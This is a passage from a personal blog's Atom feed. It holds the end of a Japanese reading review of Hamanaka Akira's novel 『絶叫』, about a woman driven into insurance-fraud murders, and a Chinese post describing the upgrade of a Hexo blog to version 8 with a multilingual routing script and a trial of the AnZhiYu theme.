<strong>ネタバレ注意</strong>：以下のあらすじには作品の核心的などんでん返しが含まれています。まだ読んでおらず、読書体験を大切にしたい方は、先に原作をお読みになってから戻ってくることを強くおすすめします。サスペンスの面白さは、一度ネタバレされたら二度と戻ってきません。</p></blockquote><p>鈴木陽子は1973年、地方の小さな町に生まれた普通の少女だった。名前は両親がいい加減につけた「どこにでもいる女の子の名前」。母は男尊女卑で、病弱な弟の純に愛情のすべてを注いだ。発達障害ゆえに学校でいじめられ、遺書を残して自殺した純の死を、母は受け入れることができず、その怒りを陽子にぶつけた。バブル経済崩壊後、父は借金を抱えて家を出て行き、妻子を置き去りにした。陽子は一人で東京へ出て暮らしを立てようとした。コールセンターで働き、初恋の相手と再会して結婚するが、彼の浮気が原因で義実家から離婚を迫られる。生活のため生命保険の営業に足を踏み入れ、上司に「愛情」の名で弄ばれ、成績のために体を売り、それが発覚して解雇され、カードローンに追われながら、コールガールの仕事へと少しずつ滑り落ちていく。愛情に飢えた彼女は、口上手で暴力を振るうホストの彼氏を養っていた。ヤクザに強姦された後、彼女の方から「金を稼ぐ方法」を提案した——保険会社で覚えたノウハウを使い、彼氏と婚姻届を出して保険をかけ、車の「事故」に見せかけて殺させ、巨額の保険金をせしめたのだ。以後、陽子は組の「保険金殺人の道具」となり、さらに二人の「夫」——組が運営する施設に引き取られた、誰からも顧みられないホームレス——と結婚し、二人ともそっくり同じ「事故」で命を落とした。</p><p>真実が明かされるのはラストになってからだ。冒頭でワンルームマンションから見つかった、猫に食い荒らされた「陽子」の遺体は、実は彼女が殺した風俗業界時代の同僚だった。自分を支配していた組の親分を殺した陽子は、かつての同僚を絞殺して身分証を奪い、さらに実母を殺して証拠を消し、整形で顔を変えた。「鈴木陽子」という人間を完全に死なせ、自分は別の身分で大金とともに姿を消したのである。小説は二つの線が並行して進む。孤独死事件を追う女性刑事の線と、陽子の人生を冷徹な二人称の語りで振り返る線。二つの線はやがて交差し、背筋が凍るような真実へと至る。</p><h2 id="一、よく書けている"><a href="#一、よく書けている" class="headerlink" title="一、よく書けている"></a>一、よく書けている</h2><p>よく書けている。陽子という女が、どうやって生活に少しずつ追い詰められていったのかを描いた物語だ。著者はうまい。日本社会における女性の苦しみ——男尊女卑、仕事がない、男は当てにならない、金が足りない——を、陽子の物語を通して生き生きと描き出している。読んでいてリアルさとやりきれなさを感じ、共感せずにはいられない。社会の本当の問題を確かに映し出しているからだ。</p><h2 id="二、本当の病根：生きるということは、人に頼ること"><a href="#二、本当の病根：生きるということは、人に頼ること" class="headerlink" title="二、本当の病根：生きるということは、人に頼ること"></a>二、本当の病根：生きるということは、人に頼ること</h2><p>この小説は社会現象を大量に描き出し、読者に問題をひしひしと感じさせる。だが、根本の問題を言い当ててはいない。</p><p>本当の病根は、人間は生きていくために人に頼らざるを得ない、ということだ。</p><p>陽子は食べて生きていくために働かねばならず、搾取する雇用主とマルチ商法の組織に依存した。<br>陽子は愛情を必要とし、冷たい家族と薄情な男たちに依存した。<br>陽子は承認を必要とし、虚ろな消費と他人の目に依存した。</p><p>人間は何か欲しがる限り依存が生まれ、依存があれば不平等と抑圧が生まれやすい。これは人間が互いに必要とし合うことから必然的に生まれる、普遍的な権力と不平等の構造である。</p><p>陽子は男に、上司に、社会に抑圧された哀れな人間だ。しかし彼女を抑圧した男たちも、別の関係のなかでは——自分の上司や客との関係では——同じように「抑圧されている」。この本が描くのは女性の苦境だが、実は「人に頼り、人が人を押し潰す」という構図は、「依存の連鎖」の下流にいるすべての弱者が陥りうる苦境なのである。</p><p>この本で最も背筋が寒くなるのはここだ。絶望のどん底まで追い詰められた陽子は、最後に「善人」にはならなかった。彼女は被害者から加害者へと転じ、自ら保険金殺人を企て、連鎖の上流に立つ新たな抑圧者になった。被害者と加害者の立場は入れ替わったが、「人に頼り、人が人を押し潰す」という構造はびくともしない。これこそが最も絶望的な部分だ。彼女を押し潰したのは、特定の悪人ではなく、依存の連鎖そのものなのだから。</p><h2 id="三、この問題は、なぜ解決できないのか"><a href="#三、この問題は、なぜ解決できないのか" class="headerlink" title="三、この問題は、なぜ解決できないのか"></a>三、この問題は、なぜ解決できないのか</h2><p>考えてみると、人間の欲求は「アップグレード」し続け、依存も変わり続けるからだ。</p><p>たとえ社会がもっと進歩して、すべての人が衣食住を保証されるようになったとしても、人は広い家を、いい車を、感情のケアを、大きな業績を欲しがる……欲求は永遠に変わり続け、常により高次の、誰かに頼らなければ手に入らないものがある。だから今日は食べるために屈辱を呑み、明日は体裁のいい仕事のために愛想笑いを浮かべて付き合いに回り、明後日は「成功」と呼ばれる舞台に上がるために他人にひざまずくかもしれない。私たちが他人や社会から何かを得たいと願い続ける限り、力の天秤は傾きうる。あの「人に頼む」屈辱と不安は、影のように付きまとうのだ。そういう意味で、この本が描いているのは特定の社会の病ではない。組織化された生存から逃れられない、人類の「システム設定」なのである。</p><h2 id="四、症状を見せ、病根を考えさせる"><a href="#四、症状を見せ、病根を考えさせる" class="headerlink" title="四、症状を見せ、病根を考えさせる"></a>四、症状を見せ、病根を考えさせる</h2><p>この本の価値は、症状を見せて、病根を考え始めさせてくれることだ。それはもう役割を果たしている。</p><p>解決策については——ない。さらに考えを進めると、「欲求と依存」の問題は性別を超え、社会制度を超え、人類の社会的組織が抱える根本的な困境のようなものだ。だからこそ、どこにいてもこの問題からは逃げられない。</p><p>多くの人が勧めるのは——個人としては：しっかり目を覚まし、自立すること。多くの苦しみは「他者からの反応への過剰な渇望」から来ている。精神の自立、欲望への自覚、能力の向上は、すべての依存を断ち切ることはできないが、「頼らざるを得ない」ときに少しの清醒を保ち、自己喪失を減らし、核となる自律と尊厳を守ることができる。</p><p>社会のレベルでは：人間の組織構造が「人に頼る」という基本設定から逃れられないとしても、より公平な「頼み方のルール」を築く努力はできる。例えば、社会が基本的な生存需要を下支えする。これで問題を根絶することはできないが、陽子たちの生きる道を少しだけ増やすことはできる。</p>]]>
    </content>
    <id>https://misaka10013.cn/ja/p/838021065.html</id>
    <link href="https://misaka10013.cn/ja/p/838021065.html"/>
    <published>2026-09-07T09:22:28.000Z</published>
    <summary>
      <![CDATA[<p>最近、葉真中顕の『絶叫』を読み終えた。「社会派推理小説」の看板を掲げた一冊なのに、謎解きの快感はほとんどない。ただ、一人の人間が生活に少しずつ追い詰められていく過程を、そのまま目の前に差し出してくるだけだ。読んでいる間は息が詰まる思いだったが、本を閉じた後も、いくつかの問いが頭の中をぐるぐる回り続けている。感想を整理しておきたい。</p>
<h2 id="まずはあらすじ：陽子の生涯（ネタバレ注意）"><a href="#まずはあらすじ：陽子の生涯（ネタバレ注意）" class="headerlink" title="まずはあらすじ：陽子の生涯（ネタバレ注意）"></a>まずはあらすじ：陽子の生涯（ネタバレ注意）</h2><blockquote>
<p>⚠️ <strong>ネタバレ注意</strong>：以下のあらすじには作品の核心的などんでん返しが含まれています。まだ読んでおらず、読書体験を大切にしたい方は、先に原作をお読みになってから戻ってくることを強くおすすめします。サスペンスの面白さは、一度ネタバレされたら二度と戻ってきません。</p>
</blockquote>]]>
    </summary>
    <title>『絶叫』読書感想：逃れられない「人頼み」</title>
    <updated>2026-09-15T13:08:39.431Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="https://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="Hexo" scheme="https://misaka10013.cn/tags/Hexo/"/>
    <category term="博客升级" scheme="https://misaka10013.cn/tags/%E5%8D%9A%E5%AE%A2%E5%8D%87%E7%BA%A7/"/>
    <category term="多语言" scheme="https://misaka10013.cn/tags/%E5%A4%9A%E8%AF%AD%E8%A8%80/"/>
    <category term="NexT" scheme="https://misaka10013.cn/tags/NexT/"/>
    <category term="安知鱼" scheme="https://misaka10013.cn/tags/%E5%AE%89%E7%9F%A5%E9%B1%BC/"/>
    <content>
      <![CDATA[<h2 id="一、背景与动机"><a href="#一、背景与动机" class="headerlink" title="一、背景与动机"></a>一、背景与动机</h2><p>我的博客（misaka10013.cn）从建站起就一直用 Hexo 4.2.0 + NexT 6.0.0，跑了 6 年没动过框架。<br>最近几次想加新功能、调页面，每次让 AI 配合干活，对方都吐槽版本太老——依赖过时、插件不兼容、配置语法都变了。早就该升了，但一直懒得动。</p><p>最近我主要有点新想法：</p><p><strong>1. 多语言支持。</strong> 我想加中英日三语——一是练外语，切换着看自己写的文章；二是 SEO 问题，不管国内国外，我的博客文章都不容易被搜到，多语言版本对搜索引擎更友好。</p><p><strong>2. 想试试新主题。</strong> 看上了安知鱼（AnZhiYu）主题，颜色丰富、圆角卡片、渐变动画，和 NexT 的性冷淡风格是两个极端。既然要改，不如直接升到最新版本，一次性解决。</p><h2 id="二、升级框架（Hexo-4→8-NexT-6→8）"><a href="#二、升级框架（Hexo-4→8-NexT-6→8）" class="headerlink" title="二、升级框架（Hexo 4→8 + NexT 6→8）"></a>二、升级框架（Hexo 4→8 + NexT 6→8）</h2><h3 id="总思路"><a href="#总思路" class="headerlink" title="总思路"></a>总思路</h3><p>经过和AI的初步沟通讨论，以及对博客情况的了解后，初步定下执行方案。从 <code>master</code> 分支分出 <code>next8</code> 分支，在分支上完成升级、主题迁移、功能移植、多语言开发，全部测试通过后再合并回 <code>master</code> 上线。全程不影响线上运行的旧版。</p><h3 id="分工"><a href="#分工" class="headerlink" title="分工"></a>分工</h3><ul><li><strong>我（御坂）</strong>：定方案、验步骤、拍板决策</li><li><strong>AI</strong>：具体执行、评估影响、踩坑反馈</li></ul><h3 id="升级清单"><a href="#升级清单" class="headerlink" title="升级清单"></a>升级清单</h3><table><thead><tr><th>项目</th><th>旧版本</th><th>新版本</th></tr></thead><tbody><tr><td>Hexo</td><td>4.2.0</td><td>8.1.2</td></tr><tr><td>NexT</td><td>6.0.0（git clone）</td><td>8.29.0（npm 包）</td></tr><tr><td>Node.js</td><td>16.x</td><td>22.22.2</td></tr><tr><td>部署</td><td>CNB 云构建</td><td>同上（需改 node:18→node:22）</td></tr></tbody></table><h2 id="三、多语言方案"><a href="#三、多语言方案" class="headerlink" title="三、多语言方案"></a>三、多语言方案</h2><h3 id="需求对齐过程"><a href="#需求对齐过程" class="headerlink" title="需求对齐过程"></a>需求对齐过程</h3><p>因为需要和AI协同，所以一定需要和AI对齐颗粒度。我先让 AI 针对我粗略的需求提具体实现方法，然后采用苏格拉底式来不断问我话，逐步对齐需求：</p><ol><li>三语 UI（中英日）——✅ 必须</li><li>切换按钮全站侧边栏常驻——✅ 必须</li><li>语言站首页只显示对应语言文章——✅ 必须</li><li>文章页：有译文→跳转，无译文→按钮置灰禁用+文内提示——✅ 折中方案</li><li>翻译是用户的活，AI 只搭框架——✅ 明确</li><li>日文站初期可空首页——✅ 接受</li></ol><h3 id="最终方案：单构建-薄脚本"><a href="#最终方案：单构建-薄脚本" class="headerlink" title="最终方案：单构建 + 薄脚本"></a>最终方案：单构建 + 薄脚本</h3><p>最终方案是单构建 + 一个 <code>scripts/i18n-blog.js</code> 搞定所有逻辑。</p><h4 id="1-定义译文路由：post-permalink-过滤器（优先级-9）"><a href="#1-定义译文路由：post-permalink-过滤器（优先级-9）" class="headerlink" title="1.定义译文路由：post_permalink 过滤器（优先级 9）"></a>1.定义译文路由：<code>post_permalink</code> 过滤器（优先级 9）</h4><ul><li><strong>要解决的问题</strong>：默认情况下，所有文章都使用相同的 URL 结构，无法区分语言版本。</li><li><strong>脚本做法</strong>：在 Hexo 生成文章永久链接时进行拦截并改写。<ul><li>如果文章是默认语言（如 <code>zh-CN</code>），保持原有路径，例如 <code>/p/xxx.html</code>。</li><li>如果文章是译文（如 <code>en</code>），强制改写成 <code>/en/p/xxx.html</code>。</li></ul></li></ul><p>效果：同一篇文章的不同语言版本拥有<strong>独立且规范的 URL</strong>，便于 SEO 和后续的切换跳转。</p><h4 id="2-生成各语言独立的列表页面：覆盖-index-archive-category-tag-生成器"><a href="#2-生成各语言独立的列表页面：覆盖-index-archive-category-tag-生成器" class="headerlink" title="2.生成各语言独立的列表页面：覆盖 index / archive / category / tag 生成器"></a>2.生成各语言独立的列表页面：覆盖 <code>index / archive / category / tag</code> 生成器</h4><ul><li><strong>要解决的问题</strong>：Hexo 默认的生成器把所有的文章混在一起生成首页和归档，无法按语言区分。</li><li><strong>脚本做法</strong>：<ul><li>重写这些生成器的逻辑。</li><li>针对每一种语言，分别生成该语言的<strong>首页、归档页、分类页、标签页</strong>。</li><li>生成时<strong>只筛选属于该语言的文章</strong>。</li><li>如果该语言下没有任何文章，则生成一个<strong>占位页</strong>，而不是直接返回 404。</li></ul></li></ul><p>效果：</p><ul><li>每个语言站拥有自己的首页和内容列表，互不干扰。</li><li>访问 <code>/en/</code> 时至少能看到占位提示，不会有空页面报错，用户体验更完善。</li></ul><h4 id="3-1-增加语言切换器（Select-下拉框）和文章插入语言横幅提示"><a href="#3-1-增加语言切换器（Select-下拉框）和文章插入语言横幅提示" class="headerlink" title="3.1 增加语言切换器（Select 下拉框）和文章插入语言横幅提示"></a>3.1 增加语言切换器（Select 下拉框）和文章插入语言横幅提示</h4><ul><li><p>让脚本会分析<strong>当前页面</strong>是否存在其他语言的对应版本。</p></li><li><p><strong>有译文</strong>：切换选项高亮&#x2F;可点击，并指向正确的译文地址。</p></li><li><p><strong>无译文</strong>：切换选项置灰（<code>disabled</code>），并通过 <code>title</code> 属性提示“该文章暂无英文版”等。</p></li><li><p>当文章存在其他语言版本时，在文章正文顶部插入提示横幅。</p></li><li><p>例如：“本文还有英文版：English Version”</p></li><li><p>若当前是英文版，则显示：“此文章的中文版：中文原文”</p></li></ul><p>效果：用户在页面上的语言切换完全<strong>依据实际内容是否存在来决定</strong>，避免了用户跳转到不存在的页面，整个交互体验非常智能。</p><h4 id="4-核心实现：i18n-map-生成器"><a href="#4-核心实现：i18n-map-生成器" class="headerlink" title="4.核心实现：i18n_map 生成器"></a>4.核心实现：<code>i18n_map</code> 生成器</h4><ul><li><strong>要解决的问题</strong>：前端 JS 需要一份字典，用来快速进行语言跳转。</li><li><strong>脚本做法</strong>：在构建时额外生成一个静态 JS 文件：<code>/js/i18n-map.js</code>。</li></ul><p>该文件内包含一个映射表，例如：</p><figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="variable language_">window</span>.<span class="property">I18N_MAP</span> = &#123;</span><br><span class="line">  <span class="string">&quot;my-post&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;zh-CN&quot;</span>: <span class="string">&quot;/p/my-post.html&quot;</span>,</span><br><span class="line">    <span class="string">&quot;en&quot;</span>: <span class="string">&quot;/en/p/my-post.html&quot;</span></span><br><span class="line">  &#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>效果：这份数据把每篇文章的唯一标识（<code>abbrlink</code>）与所有语言版本的路由关联起来，前端可以直接读取该表实现快速切换，无需请求服务器，提升响应速度。</p><h4 id="5-整体工作流程"><a href="#5-整体工作流程" class="headerlink" title="5.整体工作流程"></a>5.整体工作流程</h4><p>在这个脚本的调度下，Hexo 的构建顺序为：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">graph TD</span><br><span class="line">    A[构建开始] --&gt; B[Step 1: 修正译文永久链接]</span><br><span class="line">    B --&gt; C[Step 2: 按语言生成列表页]</span><br><span class="line">    C --&gt; D[Step 3: 注入语言切换器逻辑与翻译横幅]</span><br><span class="line">    B --&gt; E[Step 4: 生成前端语言映射数据 i18n-map.js]</span><br><span class="line">    D --&gt; F[静态站点生成完毕]</span><br><span class="line">    E --&gt; F</span><br></pre></td></tr></table></figure><table><thead><tr><th align="left">阶段</th><th align="left">技术点</th><th align="left">输出物</th><th align="left">前端表现</th></tr></thead><tbody><tr><td align="left">路由规划</td><td align="left"><code>post_permalink</code> 过滤器</td><td align="left">文章独立语言 URL</td><td align="left">网址结构清晰</td></tr><tr><td align="left">列表生成</td><td align="left">覆盖 4 类生成器</td><td align="left">各语言版首页&#x2F;归档&#x2F;分类&#x2F;标签</td><td align="left">内容按语言隔离，无404</td></tr><tr><td align="left">页面修饰</td><td align="left"><code>after_render:html</code></td><td align="left">修改后的 HTML</td><td align="left">智能切换器 + 翻译横幅</td></tr><tr><td align="left">数据支撑</td><td align="left"><code>i18n_map</code> 生成器</td><td align="left"><code>/js/i18n-map.js</code></td><td align="left">前端路由字典</td></tr></tbody></table><h3 id="翻译工作流（以后我执行）"><a href="#翻译工作流（以后我执行）" class="headerlink" title="翻译工作流（以后我执行）"></a>翻译工作流（以后我执行）</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">AI 翻译初稿 → 本人细改 → 放到 source/_posts/en/ 目录</span><br><span class="line">→ front-matter 写 lang: en + 和原文相同的 abbrlink</span><br><span class="line">→ 本地预览验证 → git push 上线</span><br></pre></td></tr></table></figure><h3 id="切换器交互逻辑"><a href="#切换器交互逻辑" class="headerlink" title="切换器交互逻辑"></a>切换器交互逻辑</h3><table><thead><tr><th>场景</th><th>行为</th></tr></thead><tbody><tr><td>文章有中文&#x2F;英文译文</td><td>可点击，跳转到对应语言版本</td></tr><tr><td>文章无该语言版本</td><td>按钮置灰禁用，鼠标悬停提示”此文章暂无该语言版本”</td></tr><tr><td>文章有其他语言版本</td><td>文章顶部横幅：”🌐 本文还有其它语言版本：English”</td></tr><tr><td>语言站首页</td><td>仅显示对应语言的文章列表</td></tr></tbody></table><h2 id="四、主题试驾（安知鱼）"><a href="#四、主题试驾（安知鱼）" class="headerlink" title="四、主题试驾（安知鱼）"></a>四、主题试驾（安知鱼）</h2><h3 id="零污染共存方案"><a href="#零污染共存方案" class="headerlink" title="零污染共存方案"></a>零污染共存方案</h3><p>不破坏现有 NexT 配置，本地双服务器跑，便于我逐步根据页面需求，迁移老主题的定制配置：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">端口 4100 → NexT 主题（hexo server -p 4100）</span><br><span class="line">端口 4200 → 安知鱼主题（hexo server --config &quot;_config.yml,_config.anzhiyu_test.yml&quot; -p 4200）</span><br></pre></td></tr></table></figure><p><code>_config.anzhiyu_test.yml</code> 仅通过一行配置，实现以后可以一个配置切换主题，方便我可以随时切换回性冷淡风格：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">theme:</span> <span class="string">anzhiyu</span></span><br></pre></td></tr></table></figure><p>启动时 Hexo 合并两个配置文件，安知鱼覆盖 <code>theme</code> 字段，其他配置（文章、多语言脚本等）共享主配置。</p><h3 id="安知鱼配置体系"><a href="#安知鱼配置体系" class="headerlink" title="安知鱼配置体系"></a>安知鱼配置体系</h3><p><strong>重要：</strong> 安知鱼的所有配置在博客根目录的 <code>_config.anzhiyu.yml</code> 中修改，不用碰 <code>themes/anzhiyu/</code> 内的文件。</p><h3 id="功能迁移清单"><a href="#功能迁移清单" class="headerlink" title="功能迁移清单"></a>功能迁移清单</h3><p>原博客的定制小功能迁移，一部分保留到新主题，一部分不要了。</p><table><thead><tr><th>功能</th><th>安知鱼状态</th><th>备注</th></tr></thead><tbody><tr><td>Live2D 看板娘</td><td>✅ 保留</td><td>注入 autoload.js，音乐播放器挪到左上角避开</td></tr><tr><td>多语言切换器</td><td>✅ 移植</td><td>注入右侧悬浮栏，沿用置灰&#x2F;可跳逻辑</td></tr><tr><td>复制按钮</td><td>❌ 不要</td><td>新主题自带</td></tr><tr><td>崩溃欺骗</td><td>❌ 不要</td><td>新主题有其他形式</td></tr><tr><td>阅读进度</td><td>❌ 不要</td><td>新主题自带</td></tr><tr><td>评论&#x2F;友链&#x2F;菜单等</td><td>慢慢手动迁移</td><td>逐项从 NexT 配置搬过来</td></tr></tbody></table><h2 id="五、当前配置与操作指南"><a href="#五、当前配置与操作指南" class="headerlink" title="五、当前配置与操作指南"></a>五、当前配置与操作指南</h2><h3 id="多语言配置说明"><a href="#多语言配置说明" class="headerlink" title="多语言配置说明"></a>多语言配置说明</h3><p>修改 <code>_config.yml</code> 中的以下字段：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 语言顺序：第一个是默认语言（中文）</span></span><br><span class="line"><span class="attr">language:</span> [<span class="string">zh-CN</span>, <span class="string">en</span>, <span class="string">ja</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment"># 多语言插件配置</span></span><br><span class="line"><span class="attr">i18n_blog:</span></span><br><span class="line">  <span class="attr">default_language:</span> <span class="string">zh-CN</span>     <span class="comment"># 默认语言</span></span><br><span class="line">  <span class="attr">langs:</span> [<span class="string">en</span>, <span class="string">ja</span>]             <span class="comment"># 启用的其他语言</span></span><br></pre></td></tr></table></figure><h3 id="写新文章"><a href="#写新文章" class="headerlink" title="写新文章"></a>写新文章</h3><p><strong>中文文章（默认语言）：</strong></p><p>文件位置：<code>source/_posts/</code><br>示例：<code>source/_posts/我的新文章.md</code></p><p>front-matter 示例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">我的新文章</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">标签2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p>不需要写 <code>lang</code> 字段，<code>abbrlink</code> 在构建时自动生成。</p><p><strong>英文译文（需要中文版同时存在）：</strong></p><p>文件位置：<code>source/_posts/en/</code><br>示例：<code>source/_posts/en/my-new-article.md</code></p><p>front-matter 示例：</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">title:</span> <span class="string">My</span> <span class="string">New</span> <span class="string">Article</span></span><br><span class="line"><span class="attr">tags:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag1</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">tag2</span></span><br><span class="line"><span class="attr">categories:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="string">技术笔记</span></span><br><span class="line"><span class="attr">date:</span> <span class="number">2026-08-28 17:20:00</span></span><br><span class="line"><span class="attr">lang:</span> <span class="string">en</span></span><br><span class="line"><span class="attr">abbrlink:</span> <span class="number">12345678</span>    <span class="comment"># 和中文版相同的 abbrlink</span></span><br><span class="line"><span class="meta">---</span></span><br></pre></td></tr></table></figure><p><strong>关键：</strong> <code>lang: en</code> 必须写，<code>abbrlink</code> 必须和中文版相同。</p><p><strong>日文文章（目前空站，有译文时再放）：</strong></p><p>文件位置：<code>source/_posts/ja/</code><br>front-matter 写 <code>lang: ja</code> + 相同 <code>abbrlink</code>。</p><h3 id="文章配置图"><a href="#文章配置图" class="headerlink" title="文章配置图"></a>文章配置图</h3><p>新主题具有给文章配置首页预览图和文章背景图功能。在博客文章的yaml配置中增加图片配置并在目录添加图片。如果找不到图片，博客默认使用系统自带的兜底图片随机选封面。图片需要准备19:9比例的。</p><figure class="highlight yaml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">cover:</span> <span class="string">/img/covers/dd1.webp</span>      <span class="comment"># 首页缩略图（2026-09-04 C6 转 webp 省 28.9%）</span></span><br><span class="line"><span class="attr">top_img:</span> <span class="string">/img/covers/dd2.webp</span>    <span class="comment"># 文章页顶部大图（2026-09-04 C6 转 webp 省 49.7%）</span></span><br></pre></td></tr></table></figure><h3 id="本地预览方法"><a href="#本地预览方法" class="headerlink" title="本地预览方法"></a>本地预览方法</h3><p>站点本地预览：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">npx hexo clean   <span class="comment">#清缓存</span></span><br><span class="line">npx hexo server -p 4100   <span class="comment">#启动本地服务</span></span><br></pre></td></tr></table></figure><p>然后本地查看。<a href="http://localhost:4100/">http://localhost:4100</a></p><p><strong>NexT 主题（端口 4100）：</strong></p><p>在博客根目录执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server -p 4100</span><br></pre></td></tr></table></figure><p>访问 <a href="http://localhost:4100/">http://localhost:4100</a></p><p><strong>安知鱼主题（端口 4200）：</strong></p><p>在博客根目录执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">hexo server --config <span class="string">&quot;_config.yml,_config.anzhiyu_test.yml&quot;</span> -p 4200</span><br></pre></td></tr></table></figure><p>访问 <a href="http://localhost:4200/">http://localhost:4200</a></p><p><strong>注意：</strong> 修改 <code>_config.anzhiyu.yml</code> 或 <code>source/css/</code> 等文件后，需要重启 server 才能生效。按 <code>Ctrl+C</code> 停止，重新执行上面的命令。</p><h3 id="上线操作"><a href="#上线操作" class="headerlink" title="上线操作"></a>上线操作</h3><p>CNB 云原生构建，push 到 master 分支后自动部署。无需本地 <code>hexo g</code>。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> D:\1\coding\hexo-blog-master</span><br><span class="line">git add -A</span><br><span class="line">git commit -m <span class="string">&quot;更新内容&quot;</span></span><br><span class="line">git push origin master</span><br></pre></td></tr></table></figure><p><strong>注意：</strong> 沙箱环境 git push 会报凭据错误，请在本机终端（cmd&#x2F;PowerShell）中执行上述命令。</p><h3 id="安知鱼配置迁移期间预览"><a href="#安知鱼配置迁移期间预览" class="headerlink" title="安知鱼配置迁移期间预览"></a>安知鱼配置迁移期间预览</h3><p>当前线上仍是 NexT 主题。安知鱼的试驾配置在以下文件中，尚未 commit 到 master：</p><table><thead><tr><th>文件</th><th>说明</th></tr></thead><tbody><tr><td><code>_config.anzhiyu.yml</code></td><td>安知鱼覆盖配置（1342 行）</td></tr><tr><td><code>_config.anzhiyu_test.yml</code></td><td>试驾开关（仅一行 <code>theme: anzhiyu</code>）</td></tr><tr><td><code>source/css/anzhiyu-custom.css</code></td><td>安知鱼专属 CSS</td></tr><tr><td><code>source/js/i18n-switcher.js</code></td><td>语言切换按钮 JS</td></tr><tr><td><code>themes/anzhiyu/</code></td><td>安知鱼主题本体</td></tr></tbody></table><p>等我完成菜单、友链、评论等配置迁移后，再决定是否将安知鱼正式上线。</p><h2 id="六、待办与展望"><a href="#六、待办与展望" class="headerlink" title="六、待办与展望"></a>六、待办与展望</h2><ul><li><strong>SEO 专项</strong>：hreflang alternates、sitemap 多语言条目、robots.txt——当前搜”misaka10013”主要出 GitHub，博客可见度需要提升</li><li><strong>重点文章翻译工程</strong>：挑重点文章，用 AI 翻译初稿后自己细改，逐步丰富英文版内容</li><li><strong>安知鱼正式上线</strong>：配置迁移完成后，决定是否切换</li><li><strong>OSS 密钥轮换</strong>：deploy 段的明文密钥在 git 历史中，建议轮换</li></ul>]]>
    </content>
    <id>https://misaka10013.cn/p/913761649.html</id>
    <link href="https://misaka10013.cn/p/913761649.html"/>
    <published>2026-08-28T09:20:00.000Z</published>
    <summary>
      <![CDATA[<h2 id="一、背景与动机"><a href="#一、背景与动机" class="headerlink" title="一、背景与动机"></a>一、背景与动机</h2><p>我的博客（misaka10013.cn）从建站起就一直用 Hexo 4.2.0 + NexT 6.0.0，跑了 6 年没动过框架。<br>最近几次想加新功能、调页面，每次让 AI 配合干活，对方都吐槽版本太老——依赖过时、插件不兼容、配置语法都变了。早就该升了，但一直懒得动。</p>
<p>最近我主要有点新想法：</p>]]>
    </summary>
    <title>Hexo升级记：跨越6年与增加多语言支持</title>
    <updated>2026-09-04T08:21:01.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Misaka10013</name>
    </author>
    <category term="技术笔记" scheme="https://misaka10013.cn/categories/%E6%8A%80%E6%9C%AF%E7%AC%94%E8%AE%B0/"/>
    <category term="Hexo" scheme="https://misaka10013.cn/tags/Hexo/"/>
